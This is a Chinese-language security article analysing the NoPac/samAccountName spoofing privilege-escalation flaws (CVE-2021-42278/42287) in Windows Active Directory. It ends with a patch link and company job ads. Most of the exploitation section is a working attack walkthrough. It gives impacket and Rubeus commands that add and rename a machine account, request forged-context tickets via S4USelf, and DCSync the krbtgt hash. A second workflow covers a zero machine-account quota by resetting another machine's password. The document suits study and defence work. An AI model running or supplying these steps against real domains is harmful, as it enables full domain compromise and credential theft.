NoPac/samAccountName Spoofing漏洞深入分析
2023-3-30 00:7:2 Author: 白帽子(查看原文) 阅读量:45 收藏

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

事件描述

2021年11月9日,微软发布了11月安全补丁,其中修复了两个域内提权漏洞CVE-2021-42287和CVE-2021-42278

但由于POC并未及时公开,所以并未引起广泛关注

到了2021年12月10日,两个漏洞的利用exp被放出,漏洞被命名为samAccountName Spoofing漏洞,允许攻击者在仅获得一个合法域账号后提权至域管权限
影响范围:所有windows机器

漏洞猜想

为什么会在这里提到漏洞猜想,主要原因是由于当exp放出后在国内引起了比较大的反响,第一时间就有很多公众号及文章发表了针对该漏洞的看法,但是有不少文章只是针对微软放出的补丁进行了“合理”的猜想,并没有去证实并最终导致猜想错误。所以之后也有文章指出,“国内所有的文章所说的原理都是错误的”
回过头来看看为什么会造成这么多误会

这是微软放出的针对cve-2021-42287的补丁说明,在最后一段文字中微软提出为所有TGT票据加入PAC的缓解措施

所以当时有不少作者将漏洞的成因归结到PAC上,类似MS14-068,先通过CVE-2021-42278创建一个名字为DC(不带$)的机器用户,在申请TGT时选择不申请PAC,之后用没PAC的TGT在申请ST时,让TGS误以为当前用户是DC$,就生成一个客户端被识别为域控PAC附在ST中返回了

漏洞逻辑

到目前为止已经有非常多的分析文章,从xp源码入手,从kerberos数据包入手,将整个原理讲的很明白了

  1. 控制一个机器账户权限,例如machine$

  2. 修改machine$机器用户的samAccountName属性为DC

  3. 接着用该用户DC请求一张带有PAC的正常TGT

  4. 将该用户samAccountName属性还原

  5. 使用该TGT通过S4USelf向KDC请求访问域控cifs等服务的ST(由于S4USelf并未校验当前用户是否有委派协议,所以可以通过S4USelf请求ST;KDC无法在活动目录中找到samAccountName为DC的用户,会去找DC$用户,那么通过S4USelf模拟域管请求DC$是合法的,综上KDC会返回域管访问域控cifs的ST)

结合exp进行分析:

随机生成一个机器用户

连接ldap,获取ms-DS-MachineAccountQuota(MAQ)属性值

获取域控信息

随机选择一个域管权限进行伪造

当MAQ这里为0时,脚本没有直接退出未进行攻击,当MAQ为0时的攻击手法后续会讲到

通过SAMR添加起初随机生成的计算机用户

当计算机用户创建成功后,将该计算机用户的sAMAccountName属性修改为域控的hostname

用这个新用户去申请TGT

之后再将sAMAccountName属性修改回一开始生成的用户名

然后去用该用户通过s4uself中的GETST去为随机域管申请域控cifs服务的ST

最后将该票据导入内存,通过smbexec进行连接

漏洞成因

1.CVE-2021-42278
这个漏洞大家都没有什么异议,正常来说机器用户的用户名以$结尾,但是域控并没有校验sAMAccountName属性,从而导致可以将机器用户的sAMAccountName修改为域控的hostname

2.KDC在无法找到用户时
我们在申请ST时,是模拟域管请求DC,但是在请求ST时我们已经将新增的机器用户的sAMAccountName属性修改会原来的值,导致KDC无法从活动目录找到DC用户。通过泄漏的xp源码可以找到,当KDC找不到DC时,就会去找DC$(这里借用谢公子的图)

3.高权限pac
首先要知道在kerberos认证中,当申请的TGT中不包含PAC,那么TGS也会返回一个无PAC的ST,那么用户在拿着TS去访问服务的时候,服务无法通过PAC信息去和KDC的ACL匹配用户权限,就不会让用户访问资源
当申请的TGT中存在PAC时,KDC会直接将PAC拷贝到ST中,但是PAC在TGT中又是经过签名的,我们无法进行篡改,只能尝试重新生成伪造一个高权限的PAC,有两种场景KDC会生成新的PAC

  1. S4USelf请求,KDC在校验S4USelf请求合法后,会根据S4USelf模拟的用户生成一个该用户的PAC

  2. 跨域请求TGS时,TGT中没有携带PAC,KDC也会生成新的PAC

那么在这个漏洞中采取的方法就是通过S4USelf生成新的PAC

漏洞利用

手动分步骤攻击

1.创建机器用户

python3 addcomputer.py -computer-name ”machine$“ -computer-pass “P@ssw0rd” -dc-ip 192.168.159.149 "motoo.nc/klion:[email protected]# 45" -method SAMR -debug# mac中需将双引号转为单引号python3 addcomputer.py -computer-name "machine66$" -computer-pass "123456" -dc-ip 192.168.159.149 -domain-netbios motoo.nc "motoo.nc/klion:[email protected]# 45" -debug# Powermad.ps1import-module .\Powermad.ps1$password = ConvertTo-SecureString “123456” -AsPlainText -ForceNew-MachineAccount -MachineAccount “machine77$” -Password $($password) -Domain "motoo.nc" -DomainController "motoo-dcsrv.motoo.nc" -Verbose

2.清除机器用户的SPN

python3 addspn.py -u "motoo.nc\klion" -p "[email protected]# 45" -t "machine$" -c 192.168.159.149python3 addspn.py -u 'motoo.nc\devadm' -p '[email protected]# 45' -t 'motoo-javaweb$' -c 192.168.159.149

3.修改机器用户samAccountName为域控hostname

# 得知域控hostname为motoo-dcsrvpython3 renameMachine.py -current-name "machine$" -new-name "motoo-dcsrv" -dc-ip 192.168.159.149 "motoo.nc/klion:[email protected]# 45"

4.请求motoo-dcsrv的TGT

python3 getTGT.py -dc-ip 192.168.159.149 "motoo.nc/motoo-dcsrv:P@ssw0rd"# rubuesRubeus.exe asktgt /user:"motoo-dcsrv" /password:"'P@ssw0rd'" /domain:"motoo.nc" /dc:"motoo-dcsrv.motoo.nc" /nowrap /ptt

5.将机器用户的samAccountName改回来

python3 renameMachine.py -current-name "motoo-dcsrv" -new-name "machine$" "motoo.nc/klion:[email protected]# 45" -dc-ip 192.168.159.149

6.通过S4USelf申请ST,用

https://github.com/SecureAuthCorp/impacket/pull/1260,使用第一版s4uself的pr会出现预认证失败

KRB5CCNAME=/Users/huxuhao/Desktop/motoo-dcsrv.ccache python3 getST_NoPac.py -impersonate Administrator -k -no-pass -dc-ip 192.168.159.149 'motoo.nc/motoo-dcsrv' -alt-service 'cifs/motoo-dcsrv.motoo.nc' -s4u2self -spn motoo-dcsrv -debug# rubeusRubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/motoo-dcsrv.motoo.nc" /dc:"motoo-dcsrv.motoo.nc" /ptt /ticket:TGT

7.dcsync

export KRB5CCNAME=/Users/huxuhao/Desktop/Administrator@motoo-dcsrv@MOTOO.NC.ccachepython3 secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 192.168.159.149 @motoo-dcsrv.motoo.nc# smbexecKRB5CCNAME=/Users/huxuhao/Desktop/Administrator.ccache python3 smbexec.py -target-ip 192.168.159.149 -dc-ip 192.168.159.149 -k -no-pass @'motoo-dcsrv.motoo.nc'

也可以用sam_the_admin一键利用

https://github.com/WazeHell/sam-the-admin

windows下用nopac

https://github.com/cube0x0/noPac

MAQ为0时

我们回顾下这个漏洞,最初的利用条件就是需要存在一个可以添加机器用户的域用户,那么当我们发现域内的MAQ(msDS-MachineAccountQuota)被置为0后,该如何进行利用

可以看到现在域用户无法添加机器用户了

但是域管还是可以添加的

那么此时的思路就是通过拉机器入域的域用户,通过该用户修改域机器的samname后进行利用,在实际攻击中机会遇到两种情况

1.获取域内机器权限

此时要做的就是找到将该机器拉入域的用户

# 查找所有机器用户的 mS-DS-CreatorSIDAdFind.exe -f "&(objectcategory=computer)" mS-DS-CreatorSID# 查找指定机器用户的Creater-sidAdFind.exe -f "&(objectcategory=computer)(name=motoo-javaweb)" mS-DS-CreatorSID# 查询sid对应的域用户AdFind.exe -sc adsid:S-1-5-21-284927032-1122706408-2778656994-1127 -dn

在定位到域用户后,比如这里在获取motoo-javaweb机器的最高权限后,查询发现是由devadm用户拉入域的,就需要去获取devadm用户权限(用账号密码即可),然后通过该用户权限去重复上面的攻击即可,注意需要先把SPN清除

2.获取域用户权限

此时要做的就是找到当前用户拉入域的域机器

# 找到域机器的sidAdFind.exe -sc u:devadm objectSid# 通过mS-DS-CreatorSID定位域机器AdFind.exe -f "&(objectcategory=computer)(mS-DS-CreatorSID=S-1-5-21-284927032-1122706408-2778656994-1127)" -dn

这里获取到了devadm域用户权限后,发现拉入了两台机器入域,但是在申请tgt的时候需要javaweb的凭据,那么又会出现两种可能

  • 如果我们有javaweb的最高权限,可以直接抓它机器用户的凭据

  • 如果我们没有javaweb的权限,只能通过devadm用户去重置javaweb机器用户的密码

这里以域内机器用户:motoo-iisweb进行实验
首先motoo-iisweb$的ntlm为:

dd19bddf4b6ebb154bd83a00274c5e87

可以看到此时本地和ntds上保留的hash相同
假设现在我们获取到了域用户:motoo\sysadm : [email protected]# 45的权限,且他是motoo-iisweb$的加域用户,那么我们在未能获取到motoo-iisweb$权限且MAQ为0的前提下, 通过sysadm用户重置motoo-iisweb$的密码为123456

python3 resetpasswd.py -user 'motoo-iisweb$' -new-pass '123456' -dc-ip 192.168.159.149 'motoo/sysadm:[email protected]# 45'python3 secretsdump.py motoo.nc/motoo-dcsrv$\@192.168.159.149 -hashes :4eb31e3732f181443433ed77236523a5 -just-dc-user motoo-iisweb$

此时活动目录上该机器用户的密码已被更改,然后清除该机器用户SPN,这里的SPN需要保存下来,再攻击结束后需要还原

WSMAN/Motoo-IISWebWSMAN/Motoo-IISWeb.Motoo.ncTERMSRV/MOTOO-IISWEBTERMSRV/Motoo-IISWeb.Motoo.ncRestrictedKrbHost/MOTOO-IISWEBHOST/MOTOO-IISWEBRestrictedKrbHost/Motoo-IISWeb.Motoo.ncHOST/Motoo-IISWeb.Motoo.nc
python3 addspn.py -u 'motoo.nc\sysadm' -p '[email protected]# 45' -t 'motoo-iisweb$' -c 192.168.159.149

修改机器用户的samAccountName为域控hostname

python3 renameMachine.py -current-name 'motoo-iisweb$' -new-name 'motoo-dcsrv' -dc-ip 192.168.159.149 'motoo.nc/sysadm:[email protected]# 45'

通过机器账户的权限去请求TGT

python3 getTGT.py -dc-ip 192.168.159.149 'motoo.nc/motoo-dcsrv:123456'

将机器用户的samAccountName改回来

python3 renameMachine.py -current-name 'motoo-dcsrv' -new-name 'motoo-iisweb$' 'motoo.nc/sysadm:[email protected]# 45' -dc-ip 192.168.159.149

通过S4USelf申请ST,使用

https://github.com/SecureAuthCorp/impacket/pull/1260

KRB5CCNAME=/Users/huxuhao/Desktop/motoo-dcsrv.ccache python3 getST_NoPac.py -impersonate Administrator -k -no-pass -dc-ip 192.168.159.149 'motoo.nc/motoo-dcsrv' -alt-service 'cifs/motoo-dcsrv.motoo.nc' -s4u2self -spn motoo-dcsrv -debug

dcsync

exportKRB5CCNAME=/Users/huxuhao/Desktop/[email protected]@MOTOO.NC.ccachepython3 secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 192.168.159.149 @motoo-dcsrv.motoo.nc

此时在获取了域管的ntlm:

7c85389bc79a4eb184e620b6e8c37905后,需要去获取motoo-iisweb$机器用户的hash,并将其还原python3 secretsdump.py motoo.nc/administrator\@192.168.159.154 -hashes :7c85389bc79a4eb184e620b6e8c37905

可以看到这里通过域管权限获取到了motoo-iisweb$机器用户的ntlm为:

dd19bddf4b6ebb154bd83a00274c5e87,和我们实验开始前看到的是一样的
然后通过smbresetpasswd.py去还原hash

python3 smbresetpasswd.py -resetuser motoo-iisweb$ -newhashes :dd19bddf4b6ebb154bd83a00274c5e87 -hashes :7c85389bc79a4eb184e620b6e8c37905 -dc-ip 192.168.159.149 motoo/[email protected]168.159.149python3 secretsdump.py motoo.nc/motoo-dcsrv$\@192.168.159.149 -hashes :4eb31e3732f181443433ed77236523a5 -just-dc-user motoo-iisweb$

可以看到此时已经将ntlm还原回去了,尝试将motoo-iisweb$注销后重新登录,查看是否存在脱域情况

那么这是因为我们没有把机器账户的SPN进行还原,把之前保存的SPN一条条通过addspn进行还原即可

python3 addspn.py -u 'motoo.nc\sysadm' -p '[email protected]# 45' -t 'motoo-iisweb$' ldap://192.168.159.149 -s HOST/MOTOO-IISWEB...

再尝试登录,可以正常登录机器账户,攻击结束

修复建议

修复建议及时安装补丁

补丁地址

https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041

基本上从原理到利用都讲到了,剩下的细节网上也都有文章分析透彻了。
目前在利用中碰到因为SPN问题(MAQ为0时,还原SPN的问题;及申请ST时,SPN的问题)利用失败的情况,尚未看到有文章提到,大家觉得分析或利用中有任何问题可以随时探讨哈
后续会整一个MAQ为0时的自动化利用,流程其实就是文章分析的这样

RECRUITMENT

招聘启事

安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。

简历投递至 

[email protected]

设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;

3、精通photoshop/illustrator/coreldrew/等设计制作软件;
4、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽

简历投递至 

[email protected]

安全招聘

————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;

岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

岗位:红队攻防(正式/实习)

工作地点:杭州/上海
【职位亮点】
1.种类丰富的内部红蓝对抗工具;

2.安全大牛作为技术后盾,带你提升实战攻防能力;
3.参与战略级红蓝对抗项目 (部级、省级、重点行业 等)。

【岗位要求】
1.具备红蓝对抗项目实战经验;

2.具备一定的编程能力,至少掌握一门语言 (C#/C++、Go、Java、Python 等) 

3.外网打点/内网横向/域渗透/远控免杀/社工钓鱼/隐蔽持久化 等一个或多个领域有深入的理解;
4.具备良好的沟通和团队协作能力、责任心强、热爱技术、愿意分享;

【加分项】
1.实战型开源项目者优先;
2.具备丰富的实战经验,大型HW经验优先;
3:个人技术博客、优质社区投稿过文章者优先;

简历投递至

anonysec.zhang#dbappsecurity.com.cn (杭州)

ethan.hong#dbappsecurity.com.cn (上海)

微信投递至

AnonySec (杭州)

a0011221100 (上海)

岗位:安全研究(正式/实习)

工作地点:杭州/上海
【职位亮点】

1.漏洞挖掘与研究的时间自由;

2.探索前沿的攻防技术,并在实战中进行实践验证;

3.参与红蓝对抗等高端项目,丰富个人实战攻防经验;

4.与安全大牛一起打造武器化工具落地,赋能一线人员.


【岗位要求】
1.拥有大型产品、CMS、厂商漏洞挖掘案例;

2.具备出色的编程能力,熟练掌握一门语言 (C#/C++、Go、Java、Python 等) 

3.深入了解漏洞原理,能够独立挖掘/分析包括但不限于PHP/JAVA/.NET/ASP等大中型应用漏洞;
4.对安全有浓厚兴趣和较强的独立钻研能力,有良好的团队精神、愿意分享;

【加分项】
1.开发过安全相关的开源项目者优先;
2.个人技术博客、优质社区投稿过文章者优先;
3:提交过高质量的CVE、具备0day挖掘能力者优先;

简历投递至

anonysec.zhang#dbappsecurity.com.cn (杭州)

ethan.hong#dbappsecurity.com.cn (上海)

微信投递至

AnonySec (杭州)

a0011221100 (上海)

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246609&idx=1&sn=bd3fae78ad6d471539be95f0b944caae&chksm=82ea5678b59ddf6ea666af56eea631d195f229f6e57d25fb0f6c8218a7b8695fe1b6fa52e4de#rd
如有侵权请联系:admin#unsafe.sh